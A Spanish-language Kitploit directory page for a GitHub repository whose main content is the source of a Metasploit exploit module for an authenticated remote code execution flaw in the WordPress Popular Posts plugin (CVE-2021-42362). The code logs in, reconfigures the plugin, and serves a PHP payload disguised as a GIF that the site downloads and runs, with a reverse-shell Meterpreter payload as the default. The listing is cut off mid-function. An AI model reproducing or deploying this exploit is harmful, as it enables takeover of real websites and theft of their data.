Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nate158g-m-w-n-l-p-d-a-o-e — ### Este módulo requiere Metasploit: https://metasploit.com/download # Fuente actual: https://github.com/rapid7/metasploit-framework ##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requiere que Metasploit tenga un FQDN y la capacidad de ejecutar un servidor web de payload en el puerto 80, 443 o 8080. El FQDN tampoco debe resolverse a una dirección reservada (192/172/127/10). El servidor también debe responder a una petición HEAD del payload, antes de recibir una petición GET. Este exploit aprovecha una validación de entrada incorrecta autenticada en el plugin de Wordpress Popular Posts <= 5.3.2. La cadena del exploit es bastante complicada. Se requiere autenticación y 'gd' para PHP en el servidor. Luego el plugin Popular Post se reconfigura para permitir una URL arbitraria para la imagen del post en el widget. Se crea un post, y se envían peticiones al post para superar al anterior #1 por 5. Una vez que el post llega al top 5, y después de un refresco de caché del servidor de 60 segundos (esperamos 90), se carga el widget de la página principal lo que provoca que el plugin descargue el payload de nuestro servidor. Nuestro payload tiene una cabecera 'GIF' y una doble extensión ('.gif.php') que permite ejecutar código PHP arbitrario. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análisis original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
Herramientas/GitHubGitHub/nate0634034090/nate158g-m-w-n-l-p-d-a-o-e
Frameworks de Pruebas de PenetraciónFrameworks de ExploitsGeneración de PayloadsAnálisis de VulnerabilidadesExplotación de Aplicaciones WebRed Teaming
GitHubnate0634034090/nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e

Ver Repositorio
12440hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

### Este módulo requiere Metasploit: https://metasploit.com/download # Fuente actual: https://github.com/rapid7/metasploit-framework ##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requiere que Metasploit tenga un FQDN y la capacidad de ejecutar un servidor web de payload en el puerto 80, 443 o 8080. El FQDN tampoco debe resolverse a una dirección reservada (192/172/127/10). El servidor también debe responder a una petición HEAD del payload, antes de recibir una petición GET. Este exploit aprovecha una validación de entrada incorrecta autenticada en el plugin de Wordpress Popular Posts <= 5.3.2. La cadena del exploit es bastante complicada. Se requiere autenticación y 'gd' para PHP en el servidor. Luego el plugin Popular Post se reconfigura para permitir una URL arbitraria para la imagen del post en el widget. Se crea un post, y se envían peticiones al post para superar al anterior #1 por 5. Una vez que el post llega al top 5, y después de un refresco de caché del servidor de 60 segundos (esperamos 90), se carga el widget de la página principal lo que provoca que el plugin descargue el payload de nuestro servidor. Nuestro payload tiene una cabecera 'GIF' y una doble extensión ('.gif.php') que permite ejecutar código PHP arbitrario. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análisis original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo

Compartir

nate158g-m-w-n-l-p-d-a-o-e### Este módulo requiere Metasploit: https://metasploit.com/download

Código fuente actual: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requiere que Metasploit tenga un FQDN y la capacidad de ejecutar un servidor web de payload en el puerto 80, 443 o 8080. El FQDN tampoco debe resolverse a una dirección reservada (192/172/127/10). El servidor también debe responder a una petición HEAD para el payload, antes de recibir una petición GET. Este exploit aprovecha una validación de entrada incorrecta con autenticación en el plugin de Wordpress Popular Posts <= 5.3.2. La cadena de explotación es bastante complicada. Se requiere autenticación y que 'gd' de PHP esté instalado en el servidor. A continuación, el plugin Popular Posts se reconfigura para permitir una URL arbitraria para la imagen del post en el widget. Se crea un post y se envían peticiones al mismo para hacerlo más popular que el anterior #1 por 5. Una vez que el post llega al top 5, y después de una actualización de la caché del servidor de 60 segundos (esperamos 90), se carga el widget de la página principal, lo que hace que el plugin descargue el payload de nuestro servidor. Nuestro payload tiene una cabecera 'GIF' y una doble extensión ('.gif.php') que permite ejecutar código PHP arbitrario. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo de msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análisis original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutos, otros visitantes del sitio pueden activarlo }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Nombre de usuario de la cuenta', 'admin']), OptString.new('PASSWORD', [true, 'Contraseña de la cuenta', 'admin']), OptString.new('TARGETURI', [true, 'La ruta base del servidor Wordpress', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN del servidor de Metasploit. No debe resolverse a una dirección reservada (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'El puerto local en el que escuchar.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('No se detectó Wordpress.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts no es una versión vulnerable') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # repetir esto 5 veces por si hay un retraso en la escritura del archivo por parte del servidor (1..5).each do |i| print_status("Lanzando shell en: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} en 10 segundos. Intento #{i} de 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('No se pudo encontrar el payload; puede que no se haya subido correctamente.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Respondiendo a la petición HEAD inicial (verificación 1 superada)') # según https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests deberíamos tener un Content-Length válido # sin embargo, parece que se calcula dinámicamente, ya que se sobrescribe a 0 en esta respuesta. lo dejo aquí como nota. # además, no queríamos enviar el payload real en el cuerpo para que el tamaño fuera correcto, ya que eso aumenta las posibilidades de ser detectados return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Respondiendo a la petición GET (verificación 2 superada)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # por alguna razón extraña necesitamos cerrar la conexión manualmente para que PHP/WP termine sus funciones Rex.sleep(2) # esperar a que WP termine todas las comprobaciones necesarias trigger_payload(on_disk_payload_name) end print_status("Recibida petición #{request.method} inesperada") end def check_gd_installed(cookie) vprint_status('Comprobando si gd está instalado') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Recuperando el token wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Actualizando la configuración de popular posts para las imágenes') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),

Descargar herramienta